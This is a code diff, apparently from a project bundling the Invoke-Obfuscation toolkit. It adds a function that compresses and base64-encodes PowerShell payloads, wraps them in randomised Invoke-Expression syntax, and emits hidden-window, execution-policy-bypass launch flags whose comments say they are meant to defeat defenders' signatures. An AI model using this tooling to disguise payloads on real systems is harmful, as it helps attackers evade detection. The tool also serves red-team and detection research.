1197 $AstPS3ErrorMessage = "AST obfuscation can only be used with PS3.0+. Update to PS3.0 or higher to use AST obfuscation."
1198 If ($Script:QuietWasSpecified)
1199 {
1200 Write-Error $AstPS3ErrorMessage
1201 }
1202 Else
1203 {
1204 Write-Host "`n`nERROR: " -NoNewLine -ForegroundColor Red
1205 Write-Host $AstPS3ErrorMessage -NoNewLine
1206 }
1207 }
1208 ElseIf($Script:LauncherApplied)
11351209 {
11361210 If($Function -eq 'Out-PowerShellLauncher')
11371211 {
11601234 'Out-ObfuscatedTokenCommandAll' {
11611235 $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock
11621236 $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock ","")
1237 }
1238 'Out-ObfuscatedAst' {
1239 $Script:ObfuscatedCommand = Out-ObfuscatedAst -ScriptBlock $ObfCommandScriptBlock -AstTypesToObfuscate $Token
1240 $CmdToPrint = @("Out-ObfuscatedAst -ScriptBlock ","")
11631241 }
11641242 'Out-ObfuscatedStringCommand' {
11651243 $Script:ObfuscatedCommand = Out-ObfuscatedStringCommand -ScriptBlock $ObfCommandScriptBlock $ObfLevel
11961274 'Out-EncodedWhitespaceCommand' {
11971275 $Script:ObfuscatedCommand = Out-EncodedWhitespaceCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
11981276 $CmdToPrint = @("Out-EncodedWhitespaceCommand -ScriptBlock "," -PassThru")
1277 }
1278 'Out-CompressedCommand' {
1279 $Script:ObfuscatedCommand = Out-CompressedCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
1280 $CmdToPrint = @("Out-CompressedCommand -ScriptBlock "," -PassThru")
11991281 }
12001282 'Out-PowerShellLauncher' {
12011283 # Extract numbers from string so we can output proper flag syntax in ExecutionCommands history.
+1
-1
lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1 less more
5050 PowerShellHostVersion = '2.0'
5151
5252 # Script files (.ps1) that are run in the caller's environment prior to importing this module
53 ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-EncodedSpecialCharOnlyCommand.ps1','Out-EncodedWhitespaceCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
53 ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedAst.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-EncodedSpecialCharOnlyCommand.ps1','Out-EncodedWhitespaceCommand.ps1','Out-CompressedCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
5454
5555 # Functions to export from this module
5656 FunctionsToExport = '*'
+339
-0
lib/powershell/Invoke-Obfuscation/Out-CompressedCommand.ps1 less more
0 # This file is part of Invoke-Obfuscation.
1 #
2 # Copyright 2017 Daniel Bohannon <@danielhbohannon>
3 # while at Mandiant <http://www.mandiant.com>
4 #
5 # Licensed under the Apache License, Version 2.0 (the "License");
6 # you may not use this file except in compliance with the License.
7 # You may obtain a copy of the License at
8 #
9 # http://www.apache.org/licenses/LICENSE-2.0
10 #
11 # Unless required by applicable law or agreed to in writing, software
12 # distributed under the License is distributed on an "AS IS" BASIS,
13 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 # See the License for the specific language governing permissions and
15 # limitations under the License.
16
17
18
19 Function Out-CompressedCommand
20 {
21 <#
22 .SYNOPSIS
23
24 Generates compressed and base64 encoded payload for a PowerShell command or script. Optionally it adds command line output to final command.
25
26 Invoke-Obfuscation Function: Out-CompressedCommand
27 Author: Daniel Bohannon (@danielhbohannon)
28 License: Apache License, Version 2.0
29 Required Dependencies: None
30 Optional Dependencies: None
31
32 .DESCRIPTION
33
34 Out-CompressedCommand compresses an input PowerShell scriptblock or path and then base64 encodes the result. The purpose is to convert a multi-lined script into a one-liner command while also reducing the length for command-line character limit purposes.
35
36 .PARAMETER ScriptBlock
37
38 Specifies a scriptblock containing your payload.
39
40 .PARAMETER Path
41
42 Specifies the path to your payload.
43
44 .PARAMETER NoExit
45
46 Outputs the option to not exit after running startup commands.
47
48 .PARAMETER NoProfile
49
50 Outputs the option to not load the Windows PowerShell profile.
51
52 .PARAMETER NonInteractive
53
54 Outputs the option to not present an interactive prompt to the user.
55
56 .PARAMETER NoLogo
57
58 Outputs the option to not present the logo to the user.
59
60 .PARAMETER Wow64
61
62 Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
63
64 .PARAMETER Command
65
66 Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt.
67
68 .PARAMETER WindowStyle
69
70 Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
71
72 .PARAMETER ExecutionPolicy
73
74 Outputs the option to set the default execution policy for the current session.
75
76 .PARAMETER PassThru
77
78 (Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output.
79
80 .EXAMPLE
81
82 C:\PS> Out-CompressedCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive
83
84 powershell -NoProfil -NonInteract "& ( $EnV:COMSPEC[4,24,25]-Join'')((NEw-obJECt Io.compRESSIon.defLATEStREAm( [SySTEM.iO.MeMoRYStreAM] [coNvERt]::FROmBASe64StrinG('Cy/KLEnV9cgvLlFQ90jNyclXCM8vyklRVFfQdcsvSk0vyi/NS3HOz8kvUnAvSk3Ns1YIR9Lhn5RWWpycWJKZn6cQlJ+cXYxTHwA=' ),[sYStem.io.CoMPreSsION.cOMpREsSIoNMOde]::DecOmPReSS )|ForEaCH {NEw-obJECt SYStEm.io.sTReamrEADer($_ , [tEXT.eNCoDinG]::aSCii) } ).ReADTOend()) "
85
86 .EXAMPLE
87
88 C:\PS> Out-CompressedCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru
89
90 &( $PShOmE[21]+$pshome[30]+'X')( (nEW-oBjEcT IO.COMpRESsion.DeFLaTEStrEam( [IO.MEmoRySTReam][converT]::frOMbaSE64STriNG( 'Cy/KLEnV9cgvLlFQ90jNyclXCM8vyklRVFfQdcsvSk0vyi/NS3HOz8kvUnAvSk3Ns1YIR9Lhn5RWWpycWJKZn6cQlJ+cXYxTHwA=' ) , [iO.ComPrEssion.COMPrESSIOnMoDE]::DECoMPREss) |FOreaCH { nEW-oBjEcT IO.STrEAMreaDEr($_, [SYStEm.teXT.EncOdiNg]::Ascii) } |ForEACH {$_.ReaDTOend( ) }) )
91
92 .NOTES
93
94 Inspiration for this encoding technique came from Matt Graeber's (@mattifestation) Out-EncodedCommand: https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncodedCommand.ps1
95 This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
96
97 .LINK
98
99 http://www.danielbohannon.com
100 #>
101
102 [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param (
103 [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')]
104 [ValidateNotNullOrEmpty()]
105 [ScriptBlock]
106 $ScriptBlock,
107
108 [Parameter(Position = 0, ParameterSetName = 'FilePath')]
109 [ValidateNotNullOrEmpty()]
110 [String]
111 $Path,
112
113 [Switch]
114 $NoExit,
115
116 [Switch]
117 $NoProfile,
118
119 [Switch]
120 $NonInteractive,
121
122 [Switch]
123 $NoLogo,
124
125 [Switch]
126 $Wow64,
127
128 [Switch]
129 $Command,
130
131 [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
132 [String]
133 $WindowStyle,
134
135 [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')]
136 [String]
137 $ExecutionPolicy,
138
139 [Switch]
140 $PassThru
141 )
142
143 # Either convert ScriptBlock to bytes or convert script at $Path to bytes.
144 If($PSBoundParameters['Path'])
145 {
146 Get-ChildItem $Path -ErrorAction Stop | Out-Null
147 $ScriptString = [IO.File]::ReadAllBytes((Resolve-Path $Path))
148 }
149 Else
150 {
151 $ScriptString = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
152 }
153
154 # Compress and base64 encode input $ScriptString.
155 # These next 7 lines are copied directly from Matt Graeber's (@mattifestation) Out-EncodedCommand: https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncodedCommand.ps1#L116-L122
156 $CompressedStream = New-Object IO.MemoryStream
157 $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
158 $DeflateStream.Write($ScriptString, 0, $ScriptString.Length)
159 $DeflateStream.Dispose()
160 $CompressedScriptBytes = $CompressedStream.ToArray()
161 $CompressedStream.Dispose()
162 $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
163
164 # Generate random case versions for necessary operations.
165 $StreamReader = Get-Random -Input @('IO.StreamReader','System.IO.StreamReader')
166 $DeflateStream = Get-Random -Input @('IO.Compression.DeflateStream','System.IO.Compression.DeflateStream')
167 $MemoryStream = Get-Random -Input @('IO.MemoryStream','System.IO.MemoryStream')
168 $Convert = Get-Random -Input @('Convert','System.Convert')
169 $CompressionMode = Get-Random -Input @('IO.Compression.CompressionMode','System.IO.Compression.CompressionMode')
170 $Encoding = Get-Random -Input @('Text.Encoding','System.Text.Encoding')
171 $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%')
172 $StreamReader = ([Char[]]$StreamReader | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
173 $DeflateStream = ([Char[]]$DeflateStream | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
174 $MemoryStream = ([Char[]]$MemoryStream | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
175 $Convert = ([Char[]]$Convert | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
176 $CompressionMode = ([Char[]]$CompressionMode | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
177 $Encoding = ([Char[]]$Encoding | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
178 $NewObject = ([Char[]]'New-Object' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
179 $FromBase64 = ([Char[]]'FromBase64String' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
180 $Decompress = ([Char[]]'Decompress' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
181 $Ascii = ([Char[]]'Ascii' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
182 $ReadToEnd = ([Char[]]'ReadToEnd' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
183 $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
184 $ForEachObject2 = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
185
186 # Break up the sub-components of the final command for easier re-ordering options to increase randomization.
187 $Base64 = ' '*(Get-Random -Input @(0,1)) + "[$Convert]::$FromBase64(" + ' '*(Get-Random -Input @(0,1)) + "'$EncodedCompressedScript'" + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1))
188 $DeflateStreamSyntax = ' '*(Get-Random -Input @(0,1)) + "$DeflateStream(" + ' '*(Get-Random -Input @(0,1)) + "[$MemoryStream]$Base64," + ' '*(Get-Random -Input @(0,1)) + "[$CompressionMode]::$Decompress" + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1))
189
190 # Generate random syntax for all above options.
191 $NewScriptArray = @()
192 $NewScriptArray += "(" + ' '*(Get-Random -Input @(0,1)) + "$NewObject " + ' '*(Get-Random -Input @(0,1)) + "$StreamReader(" + ' '*(Get-Random -Input @(0,1)) + "(" + ' '*(Get-Random -Input @(0,1)) + "$NewObject $DeflateStreamSyntax)" + ' '*(Get-Random -Input @(0,1)) + "," + ' '*(Get-Random -Input @(0,1)) + "[$Encoding]::$Ascii)" + ' '*(Get-Random -Input @(0,1)) + ").$ReadToEnd(" + ' '*(Get-Random -Input @(0,1)) + ")"
193 $NewScriptArray += "(" + ' '*(Get-Random -Input @(0,1)) + "$NewObject $DeflateStreamSyntax|" + ' '*(Get-Random -Input @(0,1)) + "$ForEachObject" + ' '*(Get-Random -Input @(0,1)) + "{" + ' '*(Get-Random -Input @(0,1)) + "$NewObject " + ' '*(Get-Random -Input @(0,1)) + "$StreamReader(" + ' '*(Get-Random -Input @(0,1)) + "`$_" + ' '*(Get-Random -Input @(0,1)) + "," + ' '*(Get-Random -Input @(0,1)) + "[$Encoding]::$Ascii" + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1)) + "}" + ' '*(Get-Random -Input @(0,1)) + ").$ReadToEnd(" + ' '*(Get-Random -Input @(0,1)) + ")"
194 $NewScriptArray += "(" + ' '*(Get-Random -Input @(0,1)) + "$NewObject $DeflateStreamSyntax|" + ' '*(Get-Random -Input @(0,1)) + "$ForEachObject" + ' '*(Get-Random -Input @(0,1)) + "{" + ' '*(Get-Random -Input @(0,1)) + "$NewObject " + ' '*(Get-Random -Input @(0,1)) + "$StreamReader(" + ' '*(Get-Random -Input @(0,1)) + "`$_" + ' '*(Get-Random -Input @(0,1)) + "," + ' '*(Get-Random -Input @(0,1)) + "[$Encoding]::$Ascii" + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1)) + "}" + ' '*(Get-Random -Input @(0,1)) + "|" + ' '*(Get-Random -Input @(0,1)) + "$ForEachObject2" + ' '*(Get-Random -Input @(0,1)) + "{" + ' '*(Get-Random -Input @(0,1)) + "`$_.$ReadToEnd(" + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1)) + "}" + ' '*(Get-Random -Input @(0,1)) + ")"
195
196 # Randomly select one of the above commands.
197 $NewScript = (Get-Random -Input $NewScriptArray)
198
199 # Generate random invoke operation syntax.
200 # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
201 $InvokeExpressionSyntax = @()
202 $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression'))
203 # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
204 # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
205 # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
206 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
207 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
208 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
209 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
210 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
211 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
212 # Commenting below option since $env:Public differs in string value for non-English operating systems.
213 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
214
215 # Randomly choose from above invoke operation syntaxes.
216 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
217
218 # Randomize the case of selected invoke operation.
219 $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
220
221 # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
222 $InvokeOptions = @()
223 $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1))
224 $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression
225
226 $NewScript = (Get-Random -Input $InvokeOptions)
227
228 # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript.
229 If(!$PSBoundParameters['PassThru'])
230 {
231 # Array to store all selected PowerShell execution flags.
232 $PowerShellFlags = @()
233
234 # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
235 # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
236 $CommandlineOptions = New-Object String[](0)
237 If($PSBoundParameters['NoExit'])
238 {
239 $FullArgument = "-NoExit";
240 $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
241 }
242 If($PSBoundParameters['NoProfile'])
243 {
244 $FullArgument = "-NoProfile";
245 $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
246 }
247 If($PSBoundParameters['NonInteractive'])
248 {
249 $FullArgument = "-NonInteractive";
250 $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1)))
251 }
252 If($PSBoundParameters['NoLogo'])
253 {
254 $FullArgument = "-NoLogo";
255 $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
256 }
257 If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle)
258 {
259 $FullArgument = "-WindowStyle"
260 If($WindowsStyle) {$ArgumentValue = $WindowsStyle}
261 Else {$ArgumentValue = $PSBoundParameters['WindowStyle']}
262
263 # Randomly decide to write WindowStyle value with flag substring or integer value.
264 Switch($ArgumentValue.ToLower())
265 {
266 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = 0}}
267 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = 1}}
268 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = 2}}
269 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = 3}}
270 default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;}
271 }
272
273 $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
274 }
275 If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy)
276 {
277 $FullArgument = "-ExecutionPolicy"
278 If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy}
279 Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']}
280 # Take into account the shorted flag of -EP as well.
281 $ExecutionPolicyFlags = @()
282 $ExecutionPolicyFlags += '-EP'
283 For($Index=3; $Index -le $FullArgument.Length; $Index++)
284 {
285 $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index)
286 }
287 $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags
288 $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
289 }
290
291 # Randomize the order of the execution flags.
292 # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags.
293 If($CommandlineOptions.Count -gt 1)
294 {
295 $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count
296 }
297
298 # If selected then the -Command flag needs to be added last.
299 If($PSBoundParameters['Command'])
300 {
301 $FullArgument = "-Command"
302 $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1)))
303 }
304
305 # Randomize the case of all command-line arguments.
306 For($i=0; $i -lt $PowerShellFlags.Count; $i++)
307 {
308 $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
309 }
310
311 # Random-sized whitespace between all execution flags and encapsulating final string of execution flags.
312 $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join ''
313 $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3)
314
315 # Build up the full command-line string.
316 If($PSBoundParameters['Wow64'])
317 {
318 $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
319 }
320 Else
321 {
322 # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
323 #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
324 $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
325 }
326
327 # Make sure final command doesn't exceed cmd.exe's character limit.
328 $CmdMaxLength = 8190
329 If($CommandLineOutput.Length -gt $CmdMaxLength)
330 {
331 Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters."
332 }
333
334 $NewScript = $CommandLineOutput
335 }
336
337 Return $NewScript
338 }⏎
+2
-1
lib/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1 less more
247247 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
248248 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
249249 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
250 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
251250 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
252251 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
253252 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
253 # Commenting below option since $env:Public differs in string value for non-English operating systems.
254 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
254255
255256 # Randomly choose from above invoke operation syntaxes.
256257 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+2
-1
lib/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1 less more
266266 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
267267 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
268268 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
269 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
270269 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
271270 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
272271 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
272 # Commenting below option since $env:Public differs in string value for non-English operating systems.
273 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
273274
274275 # Randomly choose from above invoke operation syntaxes.
275276 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+2
-1
lib/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1 less more
256256 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
257257 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
258258 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
259 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
260259 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
261260 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
262261 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
262 # Commenting below option since $env:Public differs in string value for non-English operating systems.
263 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
263264
264265 # Randomly choose from above invoke operation syntaxes.
265266 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+2
-1
lib/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1 less more
256256 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
257257 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
258258 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
259 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
260259 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
261260 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
262261 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
262 # Commenting below option since $env:Public differs in string value for non-English operating systems.
263 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
263264
264265 # Randomly choose from above invoke operation syntaxes.
265266 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+2
-1
lib/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1 less more
251251 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
252252 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
253253 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
254 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
255254 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
256255 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
257256 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
257 # Commenting below option since $env:Public differs in string value for non-English operating systems.
258 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
258259
259260 # Randomly choose from above invoke operation syntaxes.
260261 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+2
-1
